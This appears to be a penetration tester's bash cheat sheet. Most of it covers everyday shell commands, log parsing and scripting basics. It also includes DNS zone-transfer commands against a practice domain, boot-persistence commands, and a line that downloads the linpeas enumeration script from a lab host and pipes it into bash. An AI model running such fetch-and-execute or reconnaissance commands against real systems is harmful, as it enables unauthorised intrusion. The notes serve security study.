Bash Guide
Last updated
Was this helpful?
Last updated
Was this helpful?
File Stream options: 0 STDIN 1 STDOUT 2 STDERR STDOUT: #touch myfile : make a file #echo stuff > file.txt //make or replace #echo stuff >> file.txt //append STDIN: #wc -l < file.txt //count line in file STDERR: ls /baddir 2>error.txt //will output any error to the file PIPE: cat error.txt | wc -l GREP: -i ignore case -r recursive SED: replace a word #echo “try hard” | sed ‘s/hard/harder/’ //s is for stream CUT: echo “try hard” | cut -f 2 -d “ ” //cuts at the delimiter (single char only)and then grabs the second part “hard” >hard AWK: echo “hello::there::friend” | awk -F “::” ‘{print $1, $3}’ >hello friend COMM: #comm scan1.txt scan2.txt //will show the unique lines, similar lines. 3rd row is the similar row. We can asl pass -12 as a way to hide columns 1 and 2 and only show common ips. DIFF: and VIMDIFF: //complex but a good way to edit both files at once or transfer info from one to another BG: Backgrounding can we done by either ending a command with '&' or can be done byt doing a ctrl-Z then typing 'bg'. careful doing the ctrl-z method because if something is time sensitive like network traffic then the temporary suspend my ruin results. FG: and JOBS: #jobs //this will list all backgrounded jobs To bring the job back up #fg %2 //where the %2 is the job numer to bring back up. If there is only a single job running simply typing fg will work also. PS: List running processes #ps -fC <searchstring> //search for a process #ps -fe //list all processes SYSTEMCTL: Used to initialize services without the need to go to init.d. #systemctl list-unit-files //list all services that can be launched #systemctl start ssh //will run until restart #systemctl enable ssh //will launch at boot and persist SS: (similar to netstat) Check running services (shows more output and is faster than netstat) #ss -antlp | grep sshd TAIL: best for live monitoring of a file. #tail -f /var/log/apache2/access.log //-f updates the screen as the file changes. This can be handy to monitor services for things like client side attacks. //-n<int> can be ppassd to show X number of lines. this will watch the last line of both files: #tail -f /var/log/nginx/access.log /var/log/nginx/access.log HEAD By default ‘head’ returns the first ten lines of each file that it is given. This can be helpful when scripting. We can specify the number of lines to show: #head -n 2 //shows 2 lines //-c to limit bytes Show first 10 lines of multiple files #head text1.txt text2.text //this will display a header to specify which file the results are coming from. We can stop the header with <-q> we can also limit results from commands with this: #ls -t /etc | head -n 5 //shows first 5 lines of results in etc WATCH: updates in 2 min interval by default. can change with -n<seconds> #watch -n 5 w //list logged in users every 5 seconds W: list logged in users. #w AXEL: axel can be used to download a single file with multiple concurrent connections to download the file at high speed. #axel -a -n 20 -o report.pdf --accounts: #passwd //to change pass #adduser bob sudo: add user bob to sudo group HOST: A good DNS config will separate internal dns name space from external. If not, zone transfers can be catastrophic. #host cisco.com //will return the IP for the main www webserver //Find DNS and mail servers for this domain//List IP and Mail services associated with a domain name # host -t ns megacorpone.com //-t specifies the query type. ns: name servers # host -t mx megacorpone.com //mx: mail exchanger servers The host command syntax for performing a zone transfer is: host -l <domain name> <dns server address> # host -l megacorpone.com ns1.megacorpone.com //this provides us with a list of IPs and host.domain.tld names WC This command will return counts of various items (words, newline, special characters, etc.) By default we get (number of lines, number of words, number of bytes, filename) To following specifiers are useful: -l lines -m characters -c bytes -w words This example counts the number of rows across all the csv files in the directory #cat *csv | wc -l Count the number of files in a directory #ls -l | wc -l Show one per line (good for automation) #ls -1 LOCATE: //update file name database of all files on system. #updatedb //find file path of a file from the file database #locate file.exe FIND: //Aggressive searching uses recursion #find / -name file* #find / -name sbd* -exec file {} \; This will find all files that start with sbc and then list the type of file that they are. MKDIR: # mkdir -p test/{subfolder, sub2, sub3} MAN: kali@kali:~$ man -k passwd chgpasswd (8) - update group passwords in batch mode chpasswd (8) - update passwords in batch mode exim4_passwd (5) - Files in use by the Debian exim4 packages exim4_passwd_client (5) - Files in use by the Debian exim4 packages expect_mkpasswd (1) - generate new password, optionally apply it to a user fgetpwent_r (3) - get passwd file entry reentrantly getpwent_r (3) - get passwd file entry reentrantly gpasswd (1) - administer /etc/group and /etc/gshadow grub-mkpasswd-pbkdf2 (1) - generate hashed password for GRUB htpasswd (1) - Manage user files for basic authentication DF: //look at all disk space in use. Good way to see what drives are connected #df STRINGS: //we can read strings from a harddrive block by pointing it to a drive like /dev/sdb //Names like /dev/sda and /dev/sdb are asigned alphabetically as the drive are added. May also use sda1, sda2 etc. #strings /dev/sdb HISTORY: #history //how command history #!3 //run the 3rd command #!! //repeat last command We can modify the history config in [.bashrc] ctrl-r then we can search history ----- export HISTIGNORE="&:ls:[bf]g:exit:history" export HISTCONTROL=ignoredups ----- Practical example of logs: #gunzip access_log.txt.gz #mv access_log.txt access.log //move to a log file format #head access.log // get an idea of how to grep the log #wc -l access.log //number of lines #cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn //gets the IPs and the number of times they accessed the server #cat access.log | grep '<ip>' | cut -d "\"" -f 2 | uniq -c //display and count the resources that were being requested by the IP address example:
we see the IP has been going to /admin 1038 times. We can then took at the logs to see what was going on. #cat access.log | grep '<ip>' | grep '/admin ' | sort -u ---http attacker file---- #head access.log good for looking at file structure #cat access.log | cut -d “ ” -f 1 | sort | unique -c | sort -urn //will output unique ips and count of access on each of them then sort by most active IP Environment variables: #evn //to see all $PATH // $USER //user name $PWD //current cir $HOME //~ Can create environment variables with export: //export is global #export b=10.10.10.14 #fping $b Local only: //new spawns wont have access to this #var="my var" #echo $var ALIAS: We can set up kb shortcuts for our system with these #alias //list all saved aliases #alias lsa=ls -la //we could now just type lsa instead of the whole command If you want aliases to persist then you must put them in the system wide .bashrc file: /etc/bash.bashrc this can be modified from the users .bashrc file. #unalias <name> //to remove the bind ----------scripting-------- #gretting="hello word" #echo $greeting #greating2="happy $greeting" #user=$(whoami) or with back tick (`) #user=`whoami` #echo $user //prints root ADD DEBUG OUTPUT: #/bin/bash -x CHMOD: chmod +x script.sh ARGUMENTS:
Reading user input: #!/bin/bash echo "Hello there, would you like to learn how to hack: Y/N?" read answer echo "Your answer was $answer" ------------------------------------------------------ Hello there, would you like to learn how to hack: Y/N? Y Your answer was Y --------------- #!/bin/bash # Prompt the user for credentials read -p 'Username: ' username #-p is for a prompt read -sp 'Password: ' password #-sp silent prompt echo "Thanks, your creds are as follows: " $username " and " $password #./input2.sh Username: kali Password: Thanks, your creds are as follows: kali and nothing2see! Comparison options:
IF_ELSE: if [ $age -lt 16 ] #if the var is less than 16. #we could also have used ‘test’ instead of [] then echo "You might need parental permission to take this course!" else echo “welcome” fi ------------------------------------------------- if [ <some test> ] then <perform action> elif [ <some test> ] then <perform different action> else <perform yet another different action> fi BOOLEAN: kali@kali:~$ user2=kali kali@kali:~$ grep $user2 /etc/passwd && echo "$user2 found!" kali:x:1000:1000:,,,:/home/kali:/bin/bash kali found! ---- kali@kali:~$ grep $user2 /etc/passwd && echo "$user2 found!" || echo "$user2 not found!" bob not found! FOR_LOOP: for var-name in <list> do <action to perform> done --examples:(prints a list of IPS) $ for ip in $(seq 1 10); do echo 10.11.1.$ip; done or $ for i in {1..10}; do echo 10.11.1.$i;done WHILE: while [ <some test> ] do <perform an action> done --example:(prints list of ips) counter=1 while [ $counter -lt 10 ] do echo "10.11.1.$counter" ((counter++)) done or counter=1 while [ $counter -le 10 ] do echo "10.11.1.$counter" ((counter++)) done FUNCTIONS: function function_name { commands... } or function_name () { commands... } --example: #!/bin/bash # passing arguments to functions pass_arg() { echo "Today's random number is: $1" } pass_arg $RANDOM RETURNS: #!/bin/bash # function return value example return_me() { echo "Oh hello there, I'm returning a random value!" return $RANDOM } return_me echo "The previous function returned a value of $?" LOCALS: #!/bin/bash # var scope example name1="John" name2="Jason" name_change() { local name1="Edward" echo "Inside of this function, name1 is $name1 and name2 is $name2" name2="Lucas" } echo "Before the function call, name1 is $name1 and name2 is $name2" name_change echo "After the function call, name1 is $name1 and name2 is $name2" -------- Before the function call, name1 is John and name2 is Jason Inside of this function, name1 is Edward and name2 is Jason After the function call, name1 is John and name2 is Lucas ------- check running services #netstat -antp or #ss -antlp //can also grep if alot is running #netstat -antp | grep sshd //services are listed in /etc/init.d/ Check locally visible ports: #netstat -an |find /i "listening" #ps -e | grep <name> //this will search all process and then look for the specified name //we can also accomplish this with #pgrap <name> Once we have the PID we can KILL: #kill <pid> Sometimes a process may ignore the kill command. In this case we can force the system to kill the process in a way that does not do any clean up. Therefore it should be avoided. The uppercase KILL is a ‘signal name’. All signal names can be seen with #kill -L #kill -s KILL <pid> or #kill -s 9 <pid> //for brevity or #kill -9 <pid> //for brevity Persist //Keep a program running after restarts and on next boot with enable #systemct1 enable ssh //more Boot persistence tools #rcconf #sysv-re-conf Have a service keep running even after a system reboot. #update-rc.d ssh enable //ssh start on reboot port 22 #update-rc.d apache2 enable //http service port 80 start on boot Check all possible services and also what is persistent #systemctl list-unit-files
Basic: curl http://10.10.14.23/linpeas.sh -o linpeas.sh Run script directly: curl 10.10.14.5:8081/linpeas.sh | bash
Mirror a website: #wget -mk -w 20 http://www.example.com/ Find broken links: #wget -o wget.log -r -l 10 --spider http://example.com Then sort and print the links #grep -B 2 '404' wget.log | grep "http" | cut -d " " -f 4 | sort -u Set user agent: #wget -U 'My-User-Agent' http://www.foo.com Only return the HTTP response headers: #wget -S --spider http://www.bbc.co.uk Download multiple URLs. We can fill a txt file with URLs then: #wget -i isos.txt MORE ON WGET